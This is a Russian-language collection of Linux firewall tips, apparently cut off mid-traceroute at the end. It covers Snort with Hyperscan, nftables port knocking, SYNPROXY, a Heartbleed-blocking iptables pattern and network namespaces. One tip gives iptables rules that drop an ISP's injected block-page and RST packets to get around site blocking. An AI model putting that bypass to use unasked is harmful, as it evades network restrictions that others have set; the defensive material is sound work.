  • Snort Boost Нужен Boost выше 1.57. В наиболее ожидаемом случае, если версия буста в используемом дистрибутиве ниже, то надо будет установить более свежую копию. Для этого надо скачать актуальную версию и установить её локально. tar xf ~/tmp/boost_1_61_0.tar.bz2 cd boost_1_61_0 ./bootstrap.sh -prefix=$HOME/opt/boost/ ./b2 --ignore-site-config install --ignore-site-config требуется для устранения потенциальных конфликтов с системной версией Boost: игнорирование текущих настроек при сборке локальной версии буста в домашней директории пользователя. Ragel Далее нужен ragel, этот компилятор доступен в стандартных репозитариях всех распространённых дистрибутивов. Поэтому инсталляция проста: emerge ragel или же apt-get install ragel, yum install ragel итп итд HyperScan Сборка библиотеки стандартна для проектов использующих cmake: tar xf ~/tmp/hyperscan-4.2.0.tar.gz cd hyperscan-4.2.0/ mkdir build cd build cmake .. -DBOOST_ROOT=$HOME/opt/boost/ -DCMAKE_INSTALL_PREFIX=$HOME/opt/hp make install Предполагается, что будет использован локальный буст, установленный в $HOME/opt/boost. Все переменные сборки можно проверить и перезадать при помощи "ccmake ." или же через аргументы cmake. В случае использования системного буста указывать -DBOOST_ROOT не следует. Snort Подходит кодовая база Snort любой из 2.9.8.* версий: 2.9.8.0, 2.9.8.2. В статье используется последний стабильный релиз: 2.9.8.3. Добавление поддержки HyperScan производится патчем версии v1: https://01.org/sites/default/files/downloads/hyperscan/snort-2982-hyperscan-v1.tar_0.gz распаковываем исходники Snort: tar xf ~/tmp/snort-2.9.8.3.tar.gz cd snort-2.9.8.3/ накладываем патч: tar xf ~/tmp/snort-2982-hyperscan-v1.tar_0.gz gunzip -c snort-2982-hyperscan-v1/snort-2982-hyperscan-v1.patch.gz| patch -p2 На всех трёх доступных мне машинах с CentOS, Gentoo, Ubuntu этого было недостаточно для сборки: при линковке snort возникали ошибки вида /opt/hp/lib/libhs.a(mpvcompile.cpp.o): In function 'operator--': /usr/include/c++/4.8/bits/stl_tree.h:204: undefined reference to 'std::_Rb_tree_decrement(std::_Rb_tree_node_base*)' /opt/hp/lib/libhs.a(mpvcompile.cpp.o): In function '__gnu_cxx::new_allocator<ue2::raw_puff>::deallocate(ue2::raw_puff*, unsigned long)': /usr/include/c++/4.8/ext/new_allocator.h:110: undefined reference to `operator delete(void*)' требуется добавление -lstdc++ к списку библиотек в configure.in. Поэтому открываем любимым редактором файл configure.in, ищем в нём строчку, где задаётся "-lhs" и заменяем на "-lhs -lstdc++": - LIBS="${LIBS} -lhs" + LIBS="${LIBS} -lhs -lstdc++" Собираем Snort: autoreconf -fi ./configure --enable-intel-hyperscan --with-intel-hyperscan-includes=$HOME/opt/hp/include/hs --with-intel-hyperscan-libraries=$HOME/opt/hp/lib --prefix=$HOME/usr/opt298hp make install Настройка Собранный таким образом снорт уже будет немного быстрее оригинального, так как для поиска контента будут использоваться SIMD инструкции. Но прирост будет малозаметен. Для реального ускорения детектирования необходимо задать движок hyperscan в опции config detection конфигурационного файла snort.conf: config detection: search-method hyperscan Если использовать актуальный большой набор правил, например открытый набор от [[https://rules.emergingthreats.net/open/snort-2.9.0/ Emerging Threats]], то начальная загрузка снорта значительно замедлится. Чтобы избежать этого без особых потерь в ускорении можно использовать опцию split-any-any, таким образом результирующая строка config detection будет выглядеть так: config detection: search-method hyperscan split-any-any При этом будет наблюдаться выигрыш как в производительности сравнительно со снортом без hyperscan), так и по использованию памяти, точные данные зависят от набора правил. На наборах ET это около 10 процентов (~520 мб и 470 мб в top соответственно). Без опции split-any-any снорт будет анализировать трафик с максимальной скоростью, но будет гораздо дольше стартовать и будет гораздо более заметен в потреблении памяти системы. Таким образом, для сравнения получаются 4 системы с одним набором правил от ET:
  • чистый Snort 2.9.8.3 без модификаций
  • Snort, собранный с Hyperscan, без изменений конфигураци, то есть использующий библиотеку только для простого поиска контента
  • Snort с Hyperscan и включённым движком детектирования hyperscan
  • Snort с включенным движком hyperscan и опцией split-any-any Результаты Скорость проще всего оценивается по времени обработки pcap-файлов. Результирующее ускорение зависит от новизны CPU. Так, на одноядерном Celeron M560 от старого ноутбука, выигрыш будет в районе считанных процентов: с гиперсканом дамп будет обрабатываться за 300 секунд, без гиперскана за 310. Получше результаты на более современном Intel(R) Core(TM) i7-2600:
  • Время обработки 100+ mb pcap файла без hyperscan: Run time for packet processing was 39.578298 seconds
  • Время обработки того же 100+ mb pcap файла c hyperscan: Run time for packet processing was 35.190397 seconds
  • Время обработки 100+ mb pcap файла с движком hyperscan + split-any-any: Run time for packet processing was 24.616165 seconds
  • Время обработки 100+ mb pcap файла с движком hyperscan: Run time for packet processing was 22.323232 seconds Было бы интересно сравнить на Xeon. Видно, что при использовании данной библиотеки и хорошего железа можно ускорить обработку пакетов, пролетающих через Snort IDS, практически двукратно.
  •  

       Пакетные фильтры в Linux: iptables, ipchains

    ----* Пример правил nftables с реализацией port knoсking для открытия доступа к SSH   Автор: umask  [комментарии]
     
    Общий набор правил для nftables с реализацией техники "port knoсking",
    позволяющей организовать временное открытие сетевого порта к SSH только после
    предварительной попытки соединения к определённой последовательности портов
    (порты задаются в параметрах "define ssh_port_knock_[1234]").
    
    
       #!/usr/bin/env -S bash -c 'nft -cof "${0}" && nft -f "${0}"'
    
       flush ruleset
    
       table inet filter {
    
       	define sshd_port = 2299;
    
       	set ssh_bad_ipv4_set {
       		type ipv4_addr;
       		flags dynamic;
       		timeout 15m;
       	}
    
       	set ssh_bad_ipv6_set {
       		type ipv6_addr;
       		flags dynamic;
       		timeout 15m;
       	}
    
       	set ssh_clients_ipv4_set {
       		type ipv4_addr;
       		flags dynamic;
       		timeout 3s;
       	}
    
       	set ssh_clients_ipv6_set {
       		type ipv6_addr;
       		flags dynamic;
       		timeout 3s;
       	}
    
       	set ssh_clients_candidates_ipv4_set {
       		type ipv4_addr . inet_service;
       		flags dynamic;
       		timeout 1s;
       	}
    
       	set ssh_clients_candidates_ipv6_set {
       		type ipv6_addr . inet_service;
       		flags dynamic;
       		timeout 1s;
       	}
    
       	### printf %d\\n 0x$(openssl rand -hex 2)
       	define ssh_port_knock_1 = changeme1;
       	define ssh_port_knock_2 = changeme2;
       	define ssh_port_knock_3 = changeme3;
       	define ssh_port_knock_4 = changeme4;
    
       	### opened ports
       	set serving_tcp_ports_set {
       		type inet_service;
       		flags constant;
       #		elements = {
       #			http,
       #			https,
       #		};
       	}
    
       	set trusted_ipv4_set {
       		type ipv4_addr;
       		flags constant, interval;
       		elements = {
       			169.254.169.254,
       			10.0.0.0/8,
       			192.168.0.0/16,
       		};
       	}
    
       	set trusted_ipv6_set {
       		type ipv6_addr;
       		flags constant, interval;
       		elements = {
       			fd00:ec2::254,
       		};
       	}
    
       	define dns_resolvers = {
       		0.0.0.0/0,
       	}
    
       	define allowed_icmp_types_input = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       	}
    
       	define allowed_icmp_types_output = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       	}
    
       	### rfc4890; assist mobility candidate codes: 144, 145, 146, 147
       	define allowed_icmpv6_types_input = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       		packet-too-big,
       		time-exceeded,
       		parameter-problem,
       		nd-router-solicit,
       		nd-router-advert,
       		nd-neighbor-solicit,
       		nd-neighbor-advert,
       		ind-neighbor-solicit,
       		ind-neighbor-advert,
       		mld-listener-query,
       		mld-listener-report,
       		mld-listener-done,
       		mld2-listener-report,
       	}
    
       	### rfc4890; assist mobility candidate codes: 144, 145, 146, 147
       	define allowed_icmpv6_types_output = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       		packet-too-big,
       		time-exceeded,
       		parameter-problem,
       		nd-router-solicit,
       		nd-router-advert,
       		nd-neighbor-solicit,
       		nd-neighbor-advert,
       		ind-neighbor-solicit,
       		ind-neighbor-advert,
       		mld-listener-query,
       		mld-listener-report,
       		mld-listener-done,
       		mld2-listener-report,
       	}
    
       	chain INPUT {
       		type filter hook input priority filter + 20; policy drop;
    
       		iif lo accept comment "accept input connections via loopback";
       		iif != lo ip saddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip daddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip6 saddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip6 daddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
    
       		### as little rules as possible for trusted hosts
       		ip saddr @trusted_ipv4_set accept comment "accept trusted hosts";
       		ip6 saddr @trusted_ipv6_set accept comment "accept trusted hosts";
    
       		### before ct
       		meta l4proto icmp icmp type $allowed_icmp_types_input limit rate 10/second burst 20 packets counter accept comment "accept icmp with limits";
       		meta l4proto icmpv6 icmpv6 type $allowed_icmpv6_types_input limit rate 10/second burst 20 packets counter accept comment "accept icmpv6 with limits";
       		meta l4proto { icmp, icmpv6 } counter drop comment "drop icmp over limit";
    
       		ct state vmap { established : accept, related : accept, invalid : drop };
    
       		tcp dport @serving_tcp_ports_set ct state new counter accept comment "accept connections to serving tcp ports";
    
       		### port knocking
       		#tcp dport $ssh_port_knock_1 add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_2 };
       		#tcp dport $ssh_port_knock_1 add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_2 };
       		#tcp dport $ssh_port_knock_2 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_3 };
       		#tcp dport $ssh_port_knock_2 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_3 };
       		#tcp dport $ssh_port_knock_3 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_4 };
       		#tcp dport $ssh_port_knock_3 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_4 };
       		#tcp dport $ssh_port_knock_4 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_ipv4_set { ip saddr } counter log prefix "ssh port knocked : ";
       		#tcp dport $ssh_port_knock_4 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_ipv6_set { ip6 saddr } counter log prefix "ssh port knocked : ";
       		#tcp dport $sshd_port ip saddr @ssh_clients_ipv4_set counter accept;
       		#tcp dport $sshd_port ip6 saddr @ssh_clients_ipv6_set counter accept;
    
       		### rate limits
       		tcp dport $sshd_port ct state new, untracked meter ssh_conns_ratemeter4 { ip saddr timeout 5m limit rate over 1/minute burst 7 packets } counter update @ssh_bad_ipv4_set { ip saddr } comment "update ssh bruteforce set with saddr of attacker; hint: nft list meter inet filter ssh_conns_ratemeter4";
       		tcp dport $sshd_port ct state new, untracked meter ssh_conns_ratemeter6 { ip6 saddr timeout 5m limit rate over 1/minute burst 7 packets } counter update @ssh_bad_ipv6_set { ip6 saddr } comment "update ssh bruteforce set with saddr of attacker; hint: nft list meter inet filter ssh_conns_ratemeter6";
       		tcp dport $sshd_port ip saddr @ssh_bad_ipv4_set counter drop comment "drop ssh bruteforce; hint: nft list set inet filter ssh_bad_ipv4_set";
       		tcp dport $sshd_port ip6 saddr @ssh_bad_ipv6_set counter drop comment "drop ssh bruteforce; hint: nft list set inet filter ssh_bad_ipv6_set";
       		tcp dport $sshd_port counter accept comment "accept ssh connections";
    
       		### new rules place here:
    
       		counter comment "count dropped packets";
       		#log prefix "nft drop IN : " comment "log dropped packets";
       	}
    
       	chain OUTPUT {
       		type filter hook output priority filter + 20; policy drop;
    
       		oif lo accept comment "accept input connections via loopback";
       		oif != lo ip saddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip daddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip6 saddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip6 daddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
    
       		### as little rules as possible for trusted hosts
       		ip daddr @trusted_ipv4_set accept comment "accept trusted hosts";
       		ip6 daddr @trusted_ipv6_set accept comment "accept trusted hosts";
    
       		### before ct
       		meta l4proto icmp icmp type $allowed_icmp_types_output limit rate 10/second burst 20 packets counter accept comment "accept icmp with limits";
       		meta l4proto icmpv6 icmpv6 type $allowed_icmpv6_types_output limit rate 10/second burst 20 packets counter accept comment "accept icmpv6 with limits";
       		meta l4proto { icmp, icmpv6 } counter drop comment "drop icmp over limit";
    
       		ct state vmap { established : accept, related : accept, invalid : drop };
    
       		meta skuid { root, uadm, chrony } meta skgid { root, uadm, chrony } counter accept comment "accept connections from specified users";
       		meta skuid postfix meta skgid postfix tcp dport { smtp, smtps, submission } counter accept comment "accept connections from postfix user";
       		meta l4proto { tcp, udp } th dport 53 ip daddr $dns_resolvers counter accept comment "accept dns; for paranoia specify comma separated list of resolvers in $dns_resolvers";
    
       		### new rules place here:
    
       		counter comment "count dropped packets";
       		log prefix "nft drop OUT : " comment "log dropped packets";
       	}
    
       	chain FORWARD {
       		type filter hook forward priority filter + 20; policy drop;
    
       		log prefix "nft drop FWD : " comment "log dropped packets";
       	}
    
       }
    
     
    ----* Прозрачный межсетевой экран с маршрутизатором (доп. ссылка 1)   Автор: Владимир Олейник  [комментарии]
     
    Предисловие
    
    В этом году поменяли провайдера. Выдал он нам небольшую сетку, сказал
    маршрутизатор по умолчанию, находящийся в этой же сети. В общем, ситуация
    вполне стандартная. Сразу же столкнулись с неудобствами такого подключения,
    которых не было при подключении к старому провайдеру по pppoe, ведь теперь
    маршрутизатор не под нашим управлением:
    
    
  • Все хосты с "белыми" адресами должны обзавестись собственными межсетевыми экранами.
  • Маршрутизация превращается либо в динамическую (что то ещё удовольствие), либо в прописывании её на всех "белых" хостах. Быстрые и неправильные решения Данные проблемы можно попытаться решить наскоком, и что может ложно успокоить, "всё будет работать". Поменяв маршрут по умолчанию на белых хостах на собственный маршрутизатор создастся видимость, что всё починилось: маршрутизация до филиалов и серых сетей появилась, а межсетевой экран даже сможет срабатывать на выход. Но кому более всего нужен межсетевой экран на выход? Вот то-то же. Да и с маршрутизацией не всё на самом деле в порядке. На каждый посланный вами из белой сети в Интернет пакет, вы будете получать ICMP redirect, говорящий, что маршрутизатор вами установлен не тот: PING branch.mydomain.ru (branch-IP): 56 data bytes From GW-IP Redirect (change route) 84 bytes from branch-IP: icmp_seq=0 ttl=63 time=N ms Windows машины, у которых по умолчанию применяется политика реагирования на этот код, будут бесконечно добавлять в таблицу маршрутизации записи на каждый хост в Интернете через маршрутизатор провайдера. Хорошо, а давайте добавим все статические маршруты, а между провайдерским и своим коммутатором поставим прозрачный файервол. Ну что ж, это решение будет работать пока вам не надоест возиться с маршрутизацией и не возникнет мысль, что может сделаем управляющий интерфейс прозрачного файервола в белой сети и он и будет центральным маршрутизатором. Увы, как только вы это сделаете, всё вернётся к проблеме, описанной ранее. Правильное решение Из предыдущей главы стало понятно, что нам нужно:
  • прозрачный файервол;
  • управляющий интерфейс этого файервола сделать внешним для возможности включения туннелей для филиалов и домашних пользователей через Интернет;
  • озаботиться хорошей фильтрацией от атак и для него, подконфигурив файрвол;
  • выключить redirect;
  • сконфигурить все VPN-ы либо на этом хосте, либо прописать маршрут на хосте с прозрачным файерволом - центральным маршрутизатором до сервера VPN. Как ни странно, но в сети можно найти решение как это сделать, но это решение предлагается как совершенно странный нетипичный пример сети с запутанными условиями "из реальной жизни", совсем не похожей на рассматриваемый пример типичного подключения. Как это делается в других ОС, отличных от Linux оставим на самостоятельный поиск читателю, а для Linux эта строчка выглядит вот так и немного странно: ebtables -t broute -A BROUTING -i eth-in -p ipv4 -j redirect --redirect-target DROP Где eth-in - входящий интерфейс со стороны вашей остальной сети. Тот, кто уже имел дела с конфигурацией файервола на Linux, взглянув на эту строчку скажет, что мы запретили совсем необходимый переброс пакета со входящего интерфейса на выход. Да, именно так. Дело в том, что ebtables имеет много точек разветвления, запрещая одно ветвление, мы заставляем пермещать пакет в другое, если политика по умолчанию или следующие правила это не запрещают. В данном случае пакет покинет L2-уровень, за который ответсвеннен ebtables и мост, а пойдёт на L3-уровень в маршрутизацию и iptables. Посмотрите на примеры использования ebtables, вы там в большинстве случаев найдёте именно правила с DROP. Такова уж судьба у L2-уровня, другие действия нужны к ну уж очень занятны и нетипичным конфигурациям, типа кластеров и др.
  •  
    ----* Борьба с подстановкой фиктивных пакетов провайдером при помощи iptables   [комментарии]
     
    Многие провайдеры и корпоративные системы инспектирования трафика применяют
    подстановку пакетов, перенаправляющих браузер пользователя на страницу с
    информацией о блокировке, при этом не обрывая изначально установленное
    соединение к заблокированному ресурсу.
    
    Например, запустив 
    
       tcpdump -nA -s1500 host заблокированный_IP
    
    и попытавшись отрыть заблокированный ресурс в браузере, можно увидеть такой пакет:
    
       13:50:24.563093 IP 1.2.3.4.80 > 192.168.1.10.58072: Flags [.], seq 1777859077:1777859201, ack 3185912442, win 229, length 124
       E.......2..a..x$...f.P..i.....*zP....V..HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bigprovider.ru/?id=61&st=0&dt=1.2.3.4&rs=http://badsite.com/
    
    следом за которым приходит реальный ответ и другие пакеты с подпадающего под
    блокировку сайта, которые продолжают приходить и не отбрасываются провайдером.
    
    Данный метод блокировки обусловлен тем,  что оборудование для обеспечения
    блокировки хоть и имеет доступ к транзитному трафику, но оно работает
    обособленно от сетевой инфраструктуры и не может изменять трафик или напрямую
    блокировать прохождение пакетов. Соответственно, суть применяемого провайдерами
    метода состоит в том, что блокирующее оборудование зная параметры сетевого
    соединения реализует блокировку через отправку подставного упреждающего ответа.
    Так как такой фиктивный ответ приходит раньше реального ответа от удалённого
    сервера и снабжён корректным номером последовательности TCP, он воспринимается
    клиентским ПО в первую очередь, а пришедший хвост реального ответа игнорируется.
    
    
    Обойти подобную блокировку достаточно легко при помощи добавления на локальной
    Linux-системе правила, отбрасывающего фиктивный ответ:
    
       iptables -I INPUT -p tcp --sport 80 -m string --string "Location: http://warning.bigprovider.ru" --algo bm -j DROP
    
    В случае HTTPS (подобным образом также часто блокируют Tor) блокировка обычно
    устраивается  через подстановку в трафик RST-пакетов для принудительного обрыва
    соединения. Обходится данное ограничение следующим правилом:
    
       iptables -I INPUT -p tcp --sport 443 --tcp-flags RST RST -j DROP
    
    Итог: Даже самые крупные провайдеры лукавят и вместо полноценной блокировки
    применяют сомнительные методы подстановки трафика, не блокируя фактически
    запрещённый трафик. Таким образом, описанная выше техника не может
    рассматриваться как метод обхода блокировки, так как блокировки нет как таковой
    - пакеты с запрещённых ресурсов не блокируются и продолжают приходить на
    клиентскую систему, а приходящие от провайдера вкрапления лишь создают
    видимость блокировки и организуют проброс на стороне клиента.
    
    Клиент имеет полное право отбрасывать любые пакеты на своей системе и это не
    может рассматриваться как лазейка для обхода блокировки, которая не выполнена
    должным образом провайдером.
    
    
    Дополнение: Для выявления описанного выше вида блокировок можно использовать
    утилиту curl, в которой можно увидеть "хвост" реального ответа:
    
       $ curl -i --ignore-content-length http://badsite.org/
    
       HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bitprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=http://badsite.org/
    
       8
       Location: http://badsite.org/forum/index.php
       Connection: keep-alive
       ...
    
    Если запросить конечную страницу, то можно получить её содержимое без манипуляций с iptables: 
    
       $ curl -i --ignore-content-length --trace-asci dump.txt http://badsite.org/forum/index.php
    
       HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bigprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=http://badsite.org/forum/index.php
    
       ection: keep-alive
    
       1fc0
       ...содержимое HTML-документа.
    
       $ less dump.txt
    
       ...
       <= Recv header, 20 bytes (0x14)
       0000: HTTP/1.1 302 Found
       <= Recv header, 19 bytes (0x13)
       0000: Connection: close
       <= Recv header, 101 bytes (0x65)
       0000: Location: http://warning.bigprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=h
       0040: ttp://badsite.org/forum/index.php
       <= Recv header, 2 bytes (0x2)
       0000: 
       <= Recv data, 1238 bytes (0x4d6)
       0000: ection: keep-alive
       ...
    
     
    ----* Борьба с SYN-флудом при помощи iptables и SYNPROXY (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Начиная с ядра Linux 3.12 и инструментария IPTables 1.4.21 в iptables доступна
    поддержка новой цели - SYNPROXY, позволяющей в десятки раз увеличить
    интенсивность обработки SYN-пакетов при противостоянии таким атакам, как SYN
    Flood, SYN-ACK Flood и ACK Flood.  Например, если в обычной конфигурации ядра
    сервер на базе CPU Xeon X5550 способен обработать приблизительно 200 тысяч SYN-
    или ACK-пакетов в секунду, то при включении SYNPROXY производительность
    возрастает до нескольких миллионов, чего достаточно для отражения небольших
    атак без привлечения специализированного оборудования.
    
    Включаем в  /etc/sysctl.conf syncookies и timestamps, так как они необходимы для работы SYNPROXY:
    
       sysctl -w net/ipv4/tcp_syncookies=1
       sysctl -w net/ipv4/tcp_timestamps=1
    
    Исключаем ACK-пакеты из обработки системой отслеживания соединений (отслеживаем
    только уже установленные соединения, ACK-пакеты снабжаются меткой INVALID), что
    помогает снизить нагрузку при ACK-флуде:
     
       sysctl -w net/netfilter/nf_conntrack_tcp_loose=0
    
    Увеличивает размер хэша для отслеживания соединений:
    
       echo 2500000 > /sys/module/nf_conntrack/parameters/hashsize
       sysctl -w net/netfilter/nf_conntrack_max=2000000
    
    Исключаем SYN-пакеты из обработки в системе отслеживания соединений (таблица
    raw обрабатывает соединений без их отслеживания, а опция "--notrack" позволяет
    обойти цель CT ("conntrack")):
    
       iptables -t raw -I PREROUTING -p tcp -m tcp --syn -j CT --notrack
    
    Выделяем SYN- и ACK-пакеты без отслеживания (UNTRACKED и INVALID), как в
    прошлом правиле и направляем их в цель SYNPROXY, в которой будет выполнена
    проверка syncookies и если всё нормально установлено TCP-соединение:
    
        iptables -I INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
    
    Отбрасываем все остальные пакеты, не прошедшие проверку в прошлом правиле:
    
       iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
    
    
    Если необходимо обеспечить защиту для отдельного IP, правила можно изменить
    следующим образом (если атака ведётся только на 80 сетевой порт, можно добавить
    "--dport 80"):
    
       iptables -t raw -I PREROUTING -p tcp -m tcp -d 192.168.1.10 --syn -j CT --notrack 
       iptables -I INPUT -p tcp -m tcp -d 192.168.1.10 -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
       iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
    
    Для просмотра статистики:
    
       iptables -t raw -vnL
       cat/proc/net/stat/synproxy
    
    
    Если нужно на низком уровне заблокировать некоторые HTTP-запросы, явно
    связанные с проведением атаки, можно использовать следующее правило (маску
    можно выделить из логов или через "tcpdump -nnA dst host 192.168.1.10 and port http"):
    
       iptables -A INPUT -p tcp --dport 80 -m string --string "маска_блокировки" --algo bm -j DROP
    
     
    ----* Отключение Firewalld и возвращение к iptables в RHEL/CentOS 7   Автор: Базиль  [комментарии]
     
    Использование применяемой по умолчанию в RHEL/CentOS 7 надстройки Firewalld не
    всегда очевидно, поэтому бывает удобнее вернуться к классическим скриптам
    работы с пакетным фильтром.
    
    Установим классические сервисы для работы с iptables:
    
       yum install -y iptables-services
    
    Настраиваем правила фильтрации в файлах /etc/sysconfig/iptables и
    /etc/sysconfig/iptables-config, например, можно сохранить текущие  правила firewalld:
    
       iptables-save > /etc/sysconfig/iptables
    
    Завершаем работу firewalld и запускаем сервисы iptables:
    
       systemctl stop firewalld && systemctl start iptables
    
    Проверяем, что используются новые правила:
    
       iptables -S
       iptables -L
    
    Для восстановления резервной копии типовых правил с другой машины  можно
    воспользоваться командой iptables-restore:
    
       cat iptables.backup| iptables-restore -t
       service iptables save (или /usr/libexec/iptables/iptables.init save)
    
    для возвращения настроек из /etc/sysconfig/iptables:
    
       systemctl reload iptables
    
    Если всё нормально убираем активацию Firewalld при загрузке и запрещаем ручной запуск:
    
       systemctl disable firewalld
       systemctl mask firewalld
    
    Активируем включение сервисов iptables при загрузке:
    
       systemctl enable iptables
    
     
    ----* Блокирование попыток эксплуатации heartbeat-уязвимости в OpenSSL средствами iptables (доп. ссылка 1)   [комментарии]
     
    Пример блокирования  критической уязвимости CVE-2014-0160 в OpenSSL 1.0.1,
    позволяющей получить содержимое памяти удалённых серверных и клиентских приложений.
    
    
    Отражаем в логе все heartbeat-запросы при помощи iptables и модуля u32:
    
       iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 "52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
    
    Блокируем heartbeat-запросы:
    
       iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 "52=0x18030000:0x1803FFFF" -j DROP
    
    Отслеживаем возможные атаки при помощи Wireshark:
    
       tshark -i interface port 443 -R 'frame[68:1] == 18'
       tshark -i interface port 443 -R 'ssl.record.content_type == 24'
    
     
    ----* Использование xtables-модуля xt_bpf для фильтрации через BPF в Linux   Автор: Roman Timofeev  [комментарии]
     
    В ядре Linux 3.9 добавили xt_bpf - аналог нетграф-ноды ng_bpf из  FreeBSD. Без
    использования правил iptables на платформе x86_64 BPF-правило демонстрирует
    производительность 40K (40 GBps) netperf TCP_STREAM, после вставки 100
    BPF-правил производительность составляет 28K.
    
    Используемое BPF-правило:
    
       iptables -A OUTPUT -m bpf --bytecode '6,40 0 0 14, 21 0 3 2048,48 0 0 25,21 0 1 20,6 0 0 96,6 0 0 0,' -j
    
    При использовании 100 эквивалентных правил через u32  производительность составляет 21K:
    
       iptables -A OUTPUT -m u32 --u32 '6&0xFF=0x20' -j DROP
    
    Т.е. для достаточно приличного числа ситуаций можно получить как упрощение
    правил, так и их ускорение (тем более, что на некоторых платформах доступен
    net.core.bpf_jit_enable и инструкции bpf преобразуются в нативный код).
    
    Для желающих использовать в более старых ядрах, доступен патч для ядра
    и патч для  iptables.
    
    В оригинале, для формирования байткода BPF автор модуля использует компилятор
    (который просто вызывает libpcap), хотя всё что нужно можно получить от
    tcpdump, указав ему подходящий интерфейс с DLT_RAW (для чего прекрасно подходит
    создаваемый после загрузки модуля ipip.ko интерфейс tunl0).
    
    Пример использования:
    
       modprobe ipip
       tcpdump -i tunl0 -ddd 'udp' > udp.bpf
       tcpdump -i tunl0 -ddd 'icmp' > icmp.bpf
       iptables -A INPUT -m bpf --bytecode-file udp.bpf  -j LOG --log-prefix "udp: "
       iptables -A INPUT -m bpf --bytecode-file icmp.bpf  -j LOG --log-prefix "icmp: "
    
    В dmesg мы увидим:
    
       [17453.963938] udp: IN=eth0 OUT= MAC=00:15:17:14:c8:c3:00:30:4f:64:71:92:08:00 SRC=192.168.100.1 DST=192.168.100.2 LEN=237 TOS=0x00 PREC=0x00 TTL=64 ID=63634 PROTO=UDP SPT=53 DPT=8516 LEN=217 
       [17460.203403] icmp: IN=eth0 OUT= MAC=00:15:17:14:c8:c3:00:30:4f:64:71:92:08:00 SRC=192.168.100.1 DST=192.168.100.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=18090 SEQ=1 
    
     
    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru 